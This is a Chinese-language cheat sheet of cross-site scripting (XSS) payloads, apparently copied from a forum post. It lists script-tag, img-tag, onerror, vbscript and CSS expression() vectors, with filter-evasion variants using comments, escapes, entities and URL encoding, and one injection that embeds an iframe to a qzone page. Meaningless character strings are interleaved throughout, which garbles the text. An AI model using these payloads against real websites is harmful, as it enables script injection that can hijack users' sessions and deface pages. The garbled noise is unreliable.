<script>alert("跨站")</script> (最常用)# D. j% h) r2 e ^3 h4 @+ L
<img scr=javascript:alert("跨站")></img>3 G$ H c& U3 i
<img scr="javascript: alert(/跨站/)></img>2 _# m) _# B( V) C6 I+ _
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)
# n! E( l4 G+ l$ U+ y5 o<img scr="#" onerror=alert(/跨站/)></img>) G! ]+ Z: p$ I! A7 u* F+ V
<img scr="#" style="xss:expression(alert(/xss/));"></img>
+ X; ~+ A& P& S" l! S9 }) U/ k<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)* p# ^- ?: E& L7 _# Z# r
<img src=vbscript:msgbox ("xss")></img>6 x1 ]& ^/ e: W6 h" E4 \" P, h& e
<style> input {left:expression (alert('xss'))}</style>
]! i. v( P$ V4 i: P<div style={left:expression (alert('xss'))}></div>
4 K: e2 d" D5 v- \; r<div style={left:exp/* */ression (alert('xss'))}></div>
* j5 g$ S: K; F4 ~<div style={left:\0065\0078ression (alert('xss'))}></div>! e- P) I# h8 n7 E+ u, f
html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>
6 J s& C& Y* Yunicode <div style="{left:expRessioN (alert('xss'))}">! ^5 P- O+ W7 U; L6 U7 D" N! z
! Q' E+ s% x% O6 t; n"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
4 [, V/ r# Q. H* S! u/ X9 X |